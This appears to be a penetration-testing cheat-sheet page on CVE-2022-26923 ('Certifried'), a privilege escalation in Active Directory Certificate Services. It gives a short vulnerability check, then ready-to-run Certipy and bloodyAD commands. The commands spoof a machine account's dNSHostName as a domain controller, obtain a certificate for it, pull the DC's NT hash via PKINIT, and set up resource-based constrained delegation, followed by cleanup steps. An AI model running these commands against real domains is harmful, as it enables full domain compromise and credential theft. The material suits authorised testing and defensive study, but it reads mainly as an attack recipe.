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dnshostname-spoofing-certifried.md

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description
CVE-2022-26923

dNSHostName Spoofing (Certifried)

Check

If there's an object SID printed when requesting a certificate based on the User or Machine templates, the AD environment is not vulnerable:

$ certipy req -u [email protected] -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template User -dc-ip 192.168.1.11
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*] Request ID is 120
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-1230029644-1443616230-1161330039-2139'  <== NOT vulnerable
[*] Saved certificate and private key to 'snovvcrash.pfx'

Exploit

Create a new machine account with dNSHostName containing FQDN of a DC:

$ certipy account create -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user FAKEMACHINE -dns DC01.megacorp.local

Or change dNSHostName property manually for an already pwned machine account, e.g. via pre2k (will definitely break stuff!):

$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns ''
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns DC01.megacorp.local

Request a certificate on behalf of that machine account with spoofed dNSHostName:

$ certipy req -u '[email protected]' -p 'M4chinePassw0rd!' -target CA01.megacorp.local -ca CorpCA -template Machine -dc-ip 192.168.1.11

Abuse PKINIT

Authenticate with the obtained certificate and get DC's NT hash via PKINIT:

$ certipy auth -pfx dc01.pfx -dc-ip 192.168.1.11

Abuse RBCD

Authenticate with obtained certificate and configure RBCD on a DC via bloodyAD to allow delegation to the fake machine account:

$ openssl pkcs12 -in dc01.pfx -out dc01.pem -nodes
$ python bloodyAD.py -d megacorp.local -c ":dc01.pem" --host 192.168.1.11 setRbcd 'FAKEMACHINE$' 'DC01$'

Clean Up

If dNSHostName was modified for an existing machine account, roll back the changes:

$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -dns PWNEDMACHINE.megacorp.local
$ certipy account update -u [email protected] -p 'Passw0rd!' -target DC01.megacorp.local -user PWNEDMACHINE -spns WSMAN/pwnedmachine.MEGACORP.LOCAL,WSMAN/pwnedmachine,TERMSRV/pwnedmachine.MEGACORP.LOCAL,TERMSRV/pwnedmachine,RestrictedKrbHost/pwnedmachine,HOST/pwnedmachine,RestrictedKrbHost/pwnedmachine.MEGACORP.LOCAL,HOST/pwnedmachine.MEGACORP.LOCAL

{% hint style="info" %} A list of SPNs to backup can be taken from a BH dump:

$ cat 20230301144823_computers.json | jq -r '.data[].Properties | select(.name == "PWNEDMACHINE.MEGACORP.LOCAL") | .serviceprincipalnames'

{% endhint %}

About the Fix